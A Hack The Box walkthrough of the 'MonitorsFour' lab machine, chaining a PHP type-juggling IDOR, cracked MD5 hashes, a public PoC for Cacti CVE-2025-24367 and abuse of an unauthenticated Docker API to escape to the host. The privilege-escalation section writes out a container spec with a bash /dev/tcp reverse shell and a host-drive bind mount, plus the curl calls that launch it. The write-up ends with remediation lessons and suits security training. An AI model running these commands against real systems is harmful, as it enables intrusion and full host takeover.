HackTheBox: MonitorsFour - Full Walkthrough

Introduction

If you've been grinding HTB long enough, you start recognizing a pattern: one small oversight compounds into another until the entire system is wide open. MonitorsFour is a textbook example of that. No single vulnerability here is exotic — but chained together, they hand you full control of the host. Let's walk through it.

Difficulty: Medium | OS: Windows | Platform: Hack The Box

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root

Reconnaissance

Standard nmap scan to start:

nmap -sCV -T4 -A <Target_IP> -o filename

Two ports of interest came back:

• Port 80/tcp — HTTP (nginx)
• Port 5985/tcp — WinRM (Windows Remote Management)

The website itself had nothing obviously useful on the surface. Time to dig deeper.

Enumeration

Directory Fuzzing

Running ffuf against the web root to find hidden endpoints:

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://monitorsfour.htb/FUZZ -ac

A /user endpoint surfaced. Navigating to it returned an error — a token parameter was expected.

The IDOR Vulnerability

Here's where it gets interesting. I tried the simplest possible value: token=0. It worked.

This is a PHP type juggling vulnerability, the backend uses loose comparison (==) to validate tokens, causing token=0 to match any string value in PHP. This bypasses validation entirely and enables IDOR, exposing any user's data with no authentication required.

The exposed data included password hashes. Those hashes? Unsalted MD5 — trivially crackable using CrackStation. Within seconds, valid credentials were in hand.

Virtual Host Enumeration

The cracked credentials didn't work on the main site. With WinRM also open, it was worth checking for additional virtual hosts:

ffuf -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/dirb/wordlists/big.txt -ac

A subdomain appeared: cacti.monitorsfour.htb. Added it to /etc/hosts and navigated over.

Always check for virtual hosts — they're often where the real attack surface hides.

Gaining Access to Cacti

The login page came up. Trying admin / wonderful1 failed — username mismatch. But the IDOR endpoint had leaked the administrator's full name (Marcus Higgins) and email address. Trying a few variations of the name, marcus / wonderful1 succeeded.

Exploitation

Identifying the CVE

The Cacti version was displayed openly on the dashboard: Cacti 1.2.28

A quick search surfaced CVE-2025-24367 — a critical authenticated RCE vulnerability affecting Cacti ≤ 1.2.28. The flaw lies in the Graph Template functionality, where user-supplied input is passed to rrdtool without proper sanitisation, enabling command injection.

Setting Up the Exploit

A public PoC was available. Clone it:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
cd CVE-2025-24367-Cacti-PoC

Start a listener on port 4444:

nc -lnvp 4444

Then fire the exploit:

sudo python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.145 -l 4444

Shell Received

A reverse shell landed as www-data inside the Cacti web directory — initial foothold confirmed.

User Flag

Basic enumeration of /home revealed a directory for marcus. The user.txt file inside was world-readable:

ls -la /home
ls /home/marcus
cat /home/marcus/user.txt

User flag captured!

Privilege Escalation

Recognizing the Container

The system hostname was a hex string — the kind Docker assigns to containers. No sudo available either. Checking the network:

• IP in the 172.18.0.0/16 range
• Default gateway 172.18.0.1

This was a Docker container. The escalation objective shifted: escape the container and reach the host.

Finding the Host IP

/etc/resolv.conf in containerized environments is auto-generated by the Docker engine and often reveals the host-side IP. Checking it disclosed the Docker host IP: 192.168.65.7.

Unauthenticated Docker API

Port 2375 is the classic Docker Remote API port. Testing:

curl http://192.168.65.7:2375/version

No auth prompt. No TLS. The daemon just… answered.

An exposed Docker API without auth lets you:

• Create containers with arbitrary mounts
• Run in privileged mode
• Bypass host kernel protections entirely

Enumerating Available Images

curl http://192.168.65.7:2375/images/json | grep "RepoTags:\[[^]]*\]"

Several locally cached images were available. Using an existing image (docker_setup-nginx-php:latest) avoids pulling anything new — quieter, and more reliable in restricted environments.

Creating the Malicious Container

Create container.json on the attacking machine:

{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": [
    "/bin/bash",
    "-c",
    "bash -i >& /dev/tcp/<tun-ip>/9999 0>&1"
  ],
  "HostConfig": {
    "Binds": [
      "/mnt/host/c:/host_root"
    ]
  }
}

In this HTB lab environment (WSL2-based), the Windows host filesystem is exposed at /mnt/host/c from within Linux containers.

Serve the file from the attacking machine:

python3 -m http.server 8000

Fetch it from within the existing shell:

curl http://<tun-ip>:8000/container.json -o container.json

Create the container via the API:

curl -H "Content-Type: application/json" -d @container.json \
  http://192.168.65.7:2375/containers/create?name=pwned

Start a listener:

nc -lnvp 9999

Start the container:

curl -X POST http://192.168.65.7:2375/containers/pwned/start

Root Flag

A shell arrived with full access to the host filesystem via /host_root:

ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt

Root flag captured!

Attack Chain Summary

Lessons Learned

MonitorsFour isn't a box that requires exotic techniques. Every step in this chain is a well-documented, preventable misconfiguration:

1. **PHP Type Juggling + IDOR — Never use loose comparison (==) for token validation. PHP's type juggling causes token=0 to match any string, bypassing authentication entirely. Use strict comparison (===), non-sequential UUIDs for tokens, and always validate ownership server-side on every request.

2. Unsalted MD5 for passwords — MD5 was never appropriate for password storage, and without a salt it's instantly reversible. Use bcrypt, scrypt, or Argon2 with a unique per-user salt.

3. Unpatched software — CVE-2025-24367 had patches available. Cacti 1.2.28 should not have been running in any internet-facing or networked context.

4. Unauthenticated Docker API — Exposing the Docker daemon on port 2375 without TLS mutual authentication is equivalent to giving any user on the network a root shell. If the Remote API is needed at all, it must be locked down with certificates and network-level controls.

Conclusion

The takeaway: defense in depth matters. Any one of these issues in isolation is manageable. Together, they resulted in full host compromise from a single unauthenticated HTTP request.